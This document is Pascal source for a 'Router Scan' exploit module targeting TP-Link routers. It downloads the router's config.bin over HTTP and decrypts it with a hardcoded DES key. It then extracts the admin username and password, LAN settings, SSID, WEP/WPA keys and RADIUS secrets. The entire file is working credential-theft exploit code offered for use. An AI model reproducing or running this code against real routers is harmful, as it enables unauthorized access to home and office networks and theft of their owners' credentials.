// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://adlersky.me/?p=223
// http://www.verydemo.com/article_c448_i16213.html

function TRouter.Exploit_TPLINK_Enc_Config(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
const
  Key: Array[0..7] of Byte = ($47,$8D,$A5,$0B,$F9,$E3,$D2,$CF);
var
  Code: Integer;
  MS, MSO: TMemoryStream;
  D: TDCP_des;
  B1, B2: Array[0..7] of Byte;
  A, LF: AnsiString;

  procedure ParseConfig1;
  begin
    SSID := DeleteBetween(A, 'wlan_ssid_str ', LF);

    Tmp := DeleteBetween(A, 'wlan_secu_en ', LF);
    if Tmp = '0' then begin
      Sec := 'None';
      Pasw := '<empty>';
    end;
    if Tmp = '1' then
      Tmp := DeleteBetween(A, 'wlan_priv ', LF);

    if Tmp = '1' then
      Sec := 'WEP';
    if Tmp = '2' then
      Sec := 'EAP';
    if Tmp = '3' then
      Sec := 'PSK';
    if Sec = 'WEP' then begin
      Tmp := DeleteBetween(A, 'wlan_dftKey ', LF);
      if Tmp = '1' then
        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);
      if Tmp = '2' then
        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);
      if Tmp = '3' then
        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);
      if Tmp = '4' then
        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);
      Tmp := PtrHex(Cardinal(@AnsiString(Pasw)[1]), Length(Pasw));
      WEPHexToAnsi(Tmp);
      if Tmp <> Pasw then
        Pasw := Tmp;
      Tmp := DeleteBetween(A, 'wlan_subTyp 1 ', LF);
      Sec := WEPBits(Pasw, Tmp = '2');
    end;
    if Sec = 'EAP' then begin
      Tmp := DeleteBetween(A, 'wlan_subTyp 2 ', LF);
      if Tmp = '1' then
        Sec := 'WPA Enterprise';
      if Tmp = '2' then
        Sec := 'WPA2 Enterprise';
      if Tmp = '3' then
        Sec := 'WPA/WPA2 Enterprise';
    end;
    if Sec = 'PSK' then begin
      Tmp := DeleteBetween(A, 'wlan_subTyp 3 ', LF);
      if Tmp = '1' then
        Sec := 'WPA';
      if Tmp = '2' then
        Sec := 'WPA2';
      if Tmp = '3' then
        Sec := 'WPA/WPA2';
    end;
    if (Sec = 'WPA')
    or (Sec = 'WPA2')
    or (Sec = 'WPA/WPA2')
    then
      Pasw := DeleteBetween(A, 'wlan_psk_scrt ', LF);
    if (Sec = 'WPA Enterprise')
    or (Sec = 'WPA2 Enterprise')
    or (Sec = 'WPA/WPA2 Enterprise')
    then begin
      Pasw := 'Radius server: ' +
      DeleteBetween(A, 'wlan_rds_ip ', LF)+
      ':' +
      DeleteBetween(A, 'wlan_rds_pt ', LF)+
      ', password: ' +
      DeleteBetween(A, '? ', LF);
    end;
  end;
  procedure ParseConfig2;
  begin
    SSID := DeleteBetween(A, 'wlan_mbssid_str 1 ', LF);

    Tmp := DeleteBetween(A, 'wlan_security_en ', LF);
    if Tmp = '0' then begin
      Sec := 'None';
      Pasw := '<empty>';
    end;
    if Tmp = '1' then
      Tmp := DeleteBetween(A, 'wlan_Auth ', LF);

    if Tmp = '1' then
      Sec := 'WEP';
    if Tmp = '2' then
      Sec := 'EAP';
    if Tmp = '3' then
      Sec := 'PSK';
    if Sec = 'WEP' then begin
      Tmp := DeleteBetween(A, 'wlan_priv_defkey ', LF);
      if Tmp = '1' then
        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);
      if Tmp = '2' then
        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);
      if Tmp = '3' then
        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);
      if Tmp = '4' then
        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);
      Tmp := PtrHex(Cardinal(@AnsiString(Pasw)[1]), Length(Pasw));
      WEPHexToAnsi(Tmp);
      if Tmp <> Pasw then
        Pasw := Tmp;
      Tmp := DeleteBetween(A, 'wlan_secSubType1 ', LF);
      Sec := WEPBits(Pasw, Tmp = '2');
    end;
    if Sec = 'EAP' then begin
      Tmp := DeleteBetween(A, 'wlan_secSubType2 ', LF);
      if Tmp = '1' then
        Sec := 'WPA Enterprise';
      if Tmp = '2' then
        Sec := 'WPA2 Enterprise';
      if Tmp = '3' then
        Sec := 'WPA/WPA2 Enterprise';
    end;
    if Sec = 'PSK' then begin
      Tmp := DeleteBetween(A, 'wlan_secSubType3 ', LF);
      if Tmp = '1' then
        Sec := 'WPA';
      if Tmp = '2' then
        Sec := 'WPA2';
      if Tmp = '3' then
        Sec := 'WPA/WPA2';
    end;
    if (Sec = 'WPA')
    or (Sec = 'WPA2')
    or (Sec = 'WPA/WPA2')
    then
      Pasw := DeleteBetween(A, 'wlan_PskSecret ', LF);
    if (Sec = 'WPA Enterprise')
    or (Sec = 'WPA2 Enterprise')
    or (Sec = 'WPA/WPA2 Enterprise')
    then begin
      Pasw := 'Radius server: ' +
      DeleteBetween(A, 'wlan_Radius ', LF)+
      ':' +
      DeleteBetween(A, 'wlan_RadiusPort ', LF)+
      ', password: ' +
      DeleteBetween(A, 'wlan_RadiusSecret ', LF);
    end;
  end;
  procedure ParseConfig3;
  begin
    SSID := DeleteBetween(A, 'wlan_mbssid_str 1 ', LF);

    Tmp := DeleteBetween(A, 'wlan_security_en 1 ', LF);
    if Tmp = '0' then begin
      Sec := 'None';
      Pasw := '<empty>';
    end;
    if Tmp = '1' then
      Tmp := DeleteBetween(A, 'wlan_Auth 1 ', LF);

    if Tmp = '1' then
      Sec := 'WEP';
    if Tmp = '2' then
      Sec := 'EAP';
    if Tmp = '3' then
      Sec := 'PSK';
    if Sec = 'WEP' then begin
      Tmp := DeleteBetween(A, 'wlan_priv_defkey ', LF);
      if Tmp = '1' then
        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);
      if Tmp = '2' then
        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);
      if Tmp = '3' then
        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);
      if Tmp = '4' then
        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);
      Tmp := PtrHex(Cardinal(@AnsiString(Pasw)[1]), Length(Pasw));
      WEPHexToAnsi(Tmp);
      if Tmp <> Pasw then
        Pasw := Tmp;
      Tmp := DeleteBetween(A, 'wlan_secSubType1 1 ', LF);
      Sec := WEPBits(Pasw, Tmp = '2');
    end;
    if Sec = 'EAP' then begin
      Tmp := DeleteBetween(A, 'wlan_secSubType2 1 ', LF);
      if Tmp = '1' then
        Sec := 'WPA Enterprise';
      if Tmp = '2' then
        Sec := 'WPA2 Enterprise';
      if Tmp = '3' then
        Sec := 'WPA/WPA2 Enterprise';
    end;
    if Sec = 'PSK' then begin
      Tmp := DeleteBetween(A, 'wlan_secSubType3 1 ', LF);
      if Tmp = '1' then
        Sec := 'WPA';
      if Tmp = '2' then
        Sec := 'WPA2';
      if Tmp = '3' then
        Sec := 'WPA/WPA2';
    end;
    if (Sec = 'WPA')
    or (Sec = 'WPA2')
    or (Sec = 'WPA/WPA2')
    then
      Pasw := DeleteBetween(A, 'wlan_PskSecret 1 ', LF);
    if (Sec = 'WPA Enterprise')
    or (Sec = 'WPA2 Enterprise')
    or (Sec = 'WPA/WPA2 Enterprise')
    then begin
      Pasw := 'Radius server: ' +
      DeleteBetween(A, 'wlan_Radius 1 ', LF)+
      ':' +
      DeleteBetween(A, 'wlan_RadiusPort 1 ', LF)+
      ', password: ' +
      DeleteBetween(A, 'wlan_RadiusSecret 1 ', LF);
    end;
  end;
begin
  Result := False;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/userRpm/config.bin',
  MS, Code, 2, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    if Code <> 200 then begin
      MS.Free;
      Exit;
    end;
    MS.Seek(0, soFromBeginning);
    D := TDCP_des.Create;
    D.InitKey(Key, SizeOf(Key)*8);
    MSO := TMemoryStream.Create;
    while (MS.Position < MS.Size)
    and (MS.Size - MS.Position >= 8)
    do begin
      MS.ReadBuffer(B1, 8);
      D.DecryptECB(B1, B2);
      MSO.WriteBuffer(B2, 8);
    end;
    D.Free;
    StreamToAnsi(MSO, A);
    MSO.Free;
    if Pos(#13#10, A)>0 then
      LF := #13#10
    else
      LF := #10;
    if Pos('lan_ip ', A)>0 then begin
      Result := True;
      if not UseAuth then begin
        AuthUser := DeleteBetween(A, 'lgn_usr ', LF);
        AuthPass := DeleteBetween(A, 'lgn_pwd ', LF);
      end;

      LAN := DeleteBetween(A, 'lan_ip ', LF);
      SetTableCell(stcLANIP, LAN);
      LAN := DeleteBetween(A, 'lan_msk ', LF);
      SetTableCell(stcLANMask, LAN);

      if DeleteBetween(A, 'wlan_en ', LF) = '0' then
        SetTableCell(stcRadioOff, stcCheckX);
      if DeleteBetween(A, 'wlan_ssid_brd ', LF) = '0' then
        SetTableCell(stcHidden, stcCheckX);

      if (Pos('wlan_secu_en ', A)>0)
      then
        ParseConfig1;
      if (Pos('wlan_security_en ', A)>0)
      and (Pos('wlan_security_en 1 ', A)=0)
      then
        ParseConfig2;
      if (Pos('wlan_security_en ', A)>0)
      and (Pos('wlan_security_en 1 ', A)>0)
      then
        ParseConfig3;

      SetTableCell(stcSSID, SSID);
      SetTableCell(stcSec, Sec);
      SetTableCell(stcKey, Pasw);
    end;
  end;
  MS.Free;
end;
